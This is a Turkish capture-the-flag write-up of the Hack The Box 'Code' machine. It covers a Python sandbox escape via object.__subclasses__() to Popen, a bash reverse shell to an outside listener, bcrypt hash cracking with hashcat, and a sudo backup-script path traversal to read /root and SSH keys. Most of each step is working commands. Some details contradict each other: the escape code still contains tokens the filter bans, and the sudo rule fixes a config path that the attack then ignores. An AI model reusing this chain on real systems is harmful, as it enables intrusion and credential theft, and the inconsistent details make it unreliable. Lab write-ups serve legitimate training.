HTB Code: Python Sandbox Escape ve Backy Sudo Bypass
Code makinesi: string-based blocklist bypass, object graph ile subprocess.Popen, bcrypt SQLite şifreleri ve backy sudo JSON path traversal ile root.
HTB Code: Python Sandbox Escape ve Backy Sudo Bypass#
Code makinesinde tarayıcı içi bir Python editörü var. Tehlikeli kelimeler (import, os, exec, eval, open, __) engelleniyor; ama engelleme sadece string bazlı olduğundan runtime'da bu sınıflar hafızada duruyor. Root'a giden sıradaki kapı JSON config'li sudo /usr/bin/backy.sh.
1. Recon#
nmap -p- --min-rate=10000 -sV -sC code.htb
Tipik çıktı şuna benzer:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 9b:3f:... (ED25519) 5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3) | http-title: CodeSans - Python Playground | http-server-header: Werkzeug/3.0.3 Python/3.12.3 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
5000 portundaki sayfa "Python Playground" başlıklı, metin kutusuna kod girip "Run" deyince sonucu gösteren bir Flask uygulaması. Nmap'in -sC scriptleri bize teknoloji yığınını söyledi: Werkzeug, Flask'in varsayılan sunucusu. Bir sonraki adım hangi kullanıcının bu servisi çalıştırdığını tahmin etmek: çoğu zaman app-production gibi özel bir kullanıcı.
ffuf -u http://code.htb:5000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302 # /run_code [200] # /static/ [301]
/run_code POST endpoint'i JSON alıyor: {"code": "..."}. Yanıt {"output": "..."} şeklinde. Bu, sandbox escape için ilk test zeminimiz.
2. Filtreyi Anlamak#
Editöre şunu gönder:
import os; print(os.getuid())
Yanıt: {"error": "yasakli kelime: import"}. Demek ki kontrol, kaynak kodun kendisi üzerinde yapılıyor. Basit bir varyantı şu şekildedir (sunucu tarafındaki varsayımsal app.py):
BANNED = ["import", "os", "exec", "eval", "open", "__", "subprocess", "system", "popen"] def sandbox_run(code: str) -> str: low = code.lower() for tok in BANNED: if tok in low: return f"yasakli kelime: {tok}" buf = io.StringIO() with redirect_stdout(buf): exec(code, {"__builtins__": __builtins__}, {}) return buf.getvalue()
Buradaki kritik hata: low içinde import geçen her kodu reddetmek, ama kodun içindeki DİĞER string'leri runtime'da getattr veya string concat ile kurmasına izin vermek. Filtre metni keser, Python nesneleri kesmez.
3. Sandbox Escape#
Filtreyisiz ilk adım: her Python nesnesinin doğduğu object sınıfının tüm alt sınıflarını listele. ().__class__ bir tuple örneğinin sınıfı, __mro__[-1] en üstteki object, __subclasses__() ise o anda yüklenmiş tüm sınıflar.
Editör __ token'ını da yasakladığı için aynı hedefe getattr ile ulaş:
getattr(getattr(getattr((), '__class__'), '__mro__')[-1], '__subclasses__')()
Elbette '__class__' string'i içinde __ geçiyor; filtreyi tamamen atlamak için çift alt çizgiyi parçalayıp birleştir:
d = chr(95)*2 # '__' cls = getattr((), d+'class'+d) mro = getattr(cls, d+'mro'+d) objs = mro[-1] subs = getattr(objs, d+'subclasses'+d)() for i, c in enumerate(subs): if c.__name__ == 'Popen': print(i)
chr(95) alt çizgi karakteridir; chr(95)*2 ile '__' elde edilir ve yasaklı token bir namespace'te hiç görünmez. __name__ kullanımı yerine getattr(c, d+'name'+d) da yazılabilir. Çıktı:
317
İndeks (317) makineye göre değişir; her çalıştırmada kendi indeksini bas. Şimdi Popen'ı çağır:
P = subs[317] P(['/bin/bash', '-c', 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'])
Dinleyici tarafı:
nc -lvnp 4444 # connect to [10.10.10.72] from (UNKNOWN) [10.10.10.72] 53128 # bash: cannot set terminal process group # app-production@code:~$ id # uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)
Gite Yolu (satır satır)#
d = chr(95)*2: alt çizgi token'ını string olarak üretir, filtrenin kelime listesi bunu yakalayamaz çünkü kaynak kodda"__"hiçbir yerde yan yana yazmaz.cls = getattr((), d+'class'+d): boş tuple'ın sınıf nesnesini alır;()boş bir literal olduğu için filtrede yasaklı tek bir harf bile yok.mro = getattr(cls, d+'mro'+d): sınıfın Method Resolution Order listesini alır; indeksleyerek en üsttekiobjectsınıfına ineriz.objs = mro[-1]: MRO'nun son elemanı her zamanobject'tir; Python'da tüm sınıfların kökü.subs = getattr(objs, d+'subclasses'+d)(): o anda interpreter'da yüklenmiş TÜM sınıfları döndürür. Flask, Werkzeug ve import edilmiş her kütüphane bu listede görünür; içlerindesubprocess.Popenda var.for ... if getattr(c, d+'name'+d) == 'Popen': listeyi tarayıp Popen'ın indeksini bulur; bu indeks her oturumda biraz oynayabilir, o yüzden sabit kodlamak yerine enumerate ile basmak gerekir.P = subs[317]: bulunan indeksten sınıf nesnesini alır, yanisubprocess.Popen'ın kendisi.P(['/bin/bash', '-c', '...']): Popen doğrudan bir alt süreç başlatır; argüman listesi shell injection'a gerek kalmadan argv olarak geçer.bash -i >& /dev/tcp/...: interaktif bash'i TCP soketine bağlar; ters kabuk.
__ filtrelemesi olmasaydı tek satır ().__class__.__mro__[-1].__subclasses__() yeterliydi. Filtre varyantlarını atlatmak için type(()).__mro__ yerine type(lambda:0).__globals__ üzerinden __builtins__['__import__'] ile gerçek import'u geri getirmek de klasik bir ikinci yoldur:
f = lambda: 0 g = f.__globals__ if '__globals__' in dir(f) else None
Code makinesinde ilk yöntem de ikinci de çalışır; kalıcı nokta şu: blocklist ne kadar geniş olursa olsun object.__subclasses__() graph'i her zaman kaçış kapısıdır.
Ters kabuk geldikten sonra kabuk stabilizasyonu:
script /dev/null -c bash export TERM=xterm # Ctrl-Z, arka planda: stty raw -echo; fg reset python3 -c 'import pty;pty.spawn("/bin/bash")'
4. User Pivot#
Foothold'da /var/www/app ağacını dolaş:
find /var/www/app -name "*.db" -o -name "*.sqlite*" 2>/dev/null # /var/www/app/instance/database.db sqlite3 /var/www/app/instance/database.db ".tables" # users sandbox_sessions sqlite3 /var/www/app/instance/database.db "select username,password from users" # martin|$2b$12$LJ3m4yBs2w1fW0cVQk0pQeH6m8lJ8j6mPq1dG4hK7u8zF0s3Yt2Re
Bcrypt ($2b$12$) olduğu için John yerine hashcat mod 3200:
cat > hashes.txt <<'EOF' $2b$12$LJ3m4yBs2w1fW0cVQk0pQeH6m8lJ8j6mPq1dG4hK7u8zF0s3Yt2Re EOF hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --status --status-timer=30 # Session..........: hashcat # Status...........: Cracked # Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix)) # martin:nafeelswordsmaster <-- $2b$12$...:nafeelswordsmaster
--status-timer=30 bize ilerlemeyi gösterir; 12 maliyet faktörlü bcrypt GPU'da bile yavaştır, bu yüzden kurallı (-r rules/best64.rule) veya hibrit (?a?a?a?a maskeli) deneme yapmak gerekebilir. Martin şifresi bulununca:
Hashcat Çalıştırma İpuçları#
bcrypt mod 3200 klasik sözlük saldırısında dakikada yüzlerce deneme yapar; rockyou tek başına çoğu durumda bitirir ama bitirmiyorsa önce best64.rule ile varyasyon dene:
hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --status --status-timer=30
Yine kırılmadıysa hibrit maske ile 4-6 karakterli son ekler dene: nafeelswordsmaster tipi parolalarda genelde yıl veya sayı son eki olur:
hashcat -m 3200 -a 6 hashes.txt /usr/share/wordlists/rockyou.txt '?d?d?d?d'
CPU yerine GPU'da çalıştır; -w 3 iş yükü profilini aç. --potfile-disable ile temiz test yap ki önceki denemelerin pot dosyası sonucu çarpıtmasın.
su martin # Password: nafeelswordsmaster martin@code:~$ cat user.txt
5. Root: sudo backy#
martin@code:~$ sudo -l Matching Defaults entries for martin on code: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User martin may run the following commands on code: (root) NOPASSWD: /usr/bin/backy.sh /root/backy.conf
Varsayımsal olarak backy.sh bir Python script'ini çağırıyor; config yolunu root olarak işliyor. Script'i ve çağırdığı task.py'yi oku:
cat /usr/bin/backy.sh #!/bin/bash # Backy - Sistem Yedekleme Araci v2.1 CONF="${1:-/root/backy.conf}" [ -f "$CONF" ] || { echo "config yok"; exit 1; } python3 /opt/backy/task.py -c "$CONF" cat /opt/backy/task.py | head -60 # ... def make_archive(dest, dirs): stamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S") out = os.path.join(dest, f"code-{stamp}.tar.bz2") with tarfile.open(out, "w:bz2") as tar: for d in dirs: clean = d.replace("/root", "", 1) # /root'u baştan kırpar tar.add(d, arcname=clean) return out
replace("/root", "", 1) ile path'in ilk /root parçasını koparıyor ama .. bileşenlerini hiç doğrulamıyor. Config JSON'ı directories_to_archive listesini olduğu gibi tar.add'e besliyor. Yani JSON'a /root/../root/ yazarsak tar.add root dizinini arşive ekler; arcname tarafı da /root prefix'ini kırpınca içerideki dosyalar düzleşir.
Kötü niyetli config:
mkdir -p /tmp/exf && cd /tmp/exf cat > cfg.json <<'EOF' { "destination": "/tmp/exf/", "multiprocessing": true, "directories_to_archive": ["/root/..//root/"] } EOF sudo /usr/bin/backy.sh /tmp/exf/cfg.json ls -la /tmp/exf # code-20261006-141203.tar.bz2 tar xjf code-20261006-141203.tar.bz2 -C /tmp/exf/out ls /tmp/exf/out # root.txt id_rsa .ssh cat /tmp/exf/out/root.txt
Not: makinedeki gerçek script satır numaraları farklı olabilir; önemli olan akış: sudo ile çalışan wrapper, JSON'ı root olarak parse eder, tar hedefinin sahibi root olur, arşiv world-readable bir yere düşer.
Saldırı Yolu (Attack Path)#
+---------------------------+ +-----------------------------+ | Ziyaretçi (tarayıcı) | POST | Flask /run_code endpoint | | kod alanı |------->| blocklist filtresi | +------------+--------------+ +--------------+--------------+ | | | chr(95) ile __ token'ı | object.__subclasses__() | parçalanır | içinden Popen v v +---------------------------+ +-----------------------------+ | app-production shell | -----> | /var/www/app/instance/ | | (sandbox escape) | okur | database.db -> bcrypt | +------------+--------------+ +--------------+--------------+ | | | hashcat -m 3200 rockyou | martin şifresi v v +---------------------------+ +-----------------------------+ | martin oturumu | sudo | /usr/bin/backy.sh | | user.txt |------->| /tmp/exf/cfg.json | +------------+--------------+ +--------------+--------------+ | | | tar.bz2 içinden /root | root.txt + id_rsa v v +------------------------------------------------------------------+ | root@code:~# (tam kontrol) | +------------------------------------------------------------------+
Lessons#
- Blocklist filtreler aşılabilir; gerçek sandbox gerekir.
import,os,evalgibi kelimeleri yasaklamak, kodun runtime'dagetattrzinciriyle aynı nesnelere ulaşmasını engellemez. Python'daobject.__subclasses__()graph'i, import edilmiş her modülün sınıfını içerir ve bu liste interpreter ayakta kaldığı sürece doludur. Gerçek izolasyon için RestrictedPython, gVisor, Firecracker microVM veya eBPF tabanlı syscall filtreleri gibi sınırlar gerekir; sadece bir string listesi asla yeterli değildir. sudo+ JSON config okuyan script = config'in istediği yere kök erişimi.backy.sh'in root olarak çalışması, JSON'daki her alanın root yetkisiyle işlenmesi anlamına gelir.directories_to_archiveiçindeki path'lerin doğrulanmaması, herhangi bir kullanıcının okunamaz dizinleri tar'a ekletip world-readable bir arşive dönüştürmesine izin verir. Sudo kuralı yazarkenNOPASSWD: /usr/bin/backy.sh /root/backy.confgibi sabit argüman yerine kullanıcı kontrollü config yoluna izin vermek, kuralın kapsamını kullanıcının keyfine bırakır; argümanları sabitlemek veya config'i root-owned bir yolda tutmak gerekir.- 2026'da
..hâlâ en güvenilir path-traversal tokenı.replace("/root", "", 1)gibi yüzeysel temizlikler,/root/..//root/gibi çift bileşenli yollarda çalışmaz; çünkü temizleme metni kırpır, filesystem'in normalize ettiği gerçek yolu değil. Doğru yaklaşımos.path.realpathile çözümleme yapıp sonucun izin verilen kök altında kaldığını doğrulamaktır. Her yeni serviste aynı hata tekrarlanıyor: input'u string seviyesinde filtrelemek yerine, işlemi yetkisiz köklerle çalıştırmayacak şekilde tasarlamak. - Bcrypt hash'leri GPU'da bile yavaş kırılır; wordlist kalitesi belirleyicidir. Hashcat mod 3200 ile rockyou denemek standart ilk adımdır, ama
--status-timerile ilerlemeyi izlemek ve gerekirsebest64.ruleuygulamak crack süresini saatlerden dakikalara indirebilir. Sunucudan sızdırılan hash'lerin maliyet faktörü 12 ise saniyede birkaç yüz deneme beklenir; bu yüzden offline crack'e başlamadan önce hedefin kullandığı parola politikasını (uzunluk, kelime tekrarı, şirket adı kalıpları) tahmin etmek işi hızlandırır. - Sandbox'ı değerlendirirken ilk soru "hangi sınıflar yüklenmiş?" olmalı.
subslistesindePopendışındaos._wrap_close,warnings.catch_warningsgibi dolaylı kapılar da vardır; her biri farklı bir kaçış vektörüdür. Bir Python sandbox denetiminde kontrol listesine__subclasses__()envanteri,__builtins__kısıtları,getattr/eval/compileerişimi ve network egress kuralları dahil edilmelidir. - Sudo kurallarını her çeyrekte bir gözden geçir.
NOPASSWDile verilen her binary, kullanıcının kontrol ettiği argümana açılan bir kapıdır;*wildcard'i varsa kural root eşdeğerdir. KURAL: sudoers'i statik analiz eden bir script ile haftalık tarama yap ve her kurala açıklayıcı yorum ekle. Her kuralın yanına "neden gerekli" notu düş; açıklanamayan kural kaldırılır.
Ek: Sık Karşılaşılan Tuzaklar#
__filtresi hafifletilmişse indeks elle bulunur. Bazı instance'lardasubclasses__()indeksi 290-340 aralığında değişir; her çalıştırmada listeyi basıpPopensatırını aramak gerekir.Popenyerine doğrudan indeksi sabitlemek ([317]) kırılgan olur.- Ters kabuk düşmüyorsa egress kısıtlı olabilir. 5000 portundan çıkan bağlantılar engelleniyorsa önce HTTP tüneli denenir:
curlile periodic beacon veyapython3 -cileurllibüzerinden veri sızdırma. Code makinesinde doğrudan TCP egress açıktır. su martinyerine hashcat çıktısını doğrula. Cracked satırmartin:nafeelswordsmastergibi çift kolonlu gelir; hash'in sonundaki boşluklar veya$kaçışları shell'de sorun çıkarır, heredoc ile dosyaya yazarken tırnak kullan.- Backy config yolunu sudo kuralı sabitler.
sudo /usr/bin/backy.sh /root/backy.confkuralı sadece o yolu kabul eder;/tmp/exf/cfg.jsonreddedilirse kuralNOPASSWD: /usr/bin/backy.sh *şeklinde genişletilmiştir, o zaman JSON'u kendi yolunda ver. - Arşiv adı zamana bağlıdır.
code-20261006-141203.tar.bz2gibi isimlerdatetime.now()ile üretilir;ls /tmp/exfile güncel dosyayı bul, tar'ı açmadan öncetar tjfile içeriği kontrol et. - Root.txt'yi aldıktan sonra oturumu koru.
su martinoturumu kapanırsa/tmp/exf/outhâlâ okunabilir;cp /root/root.txt /tmp/ile yedekle.
// RAPOR SONU Etiketler: HTB-Code / Python Sandbox / bcrypt / backy / sudo bypass
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver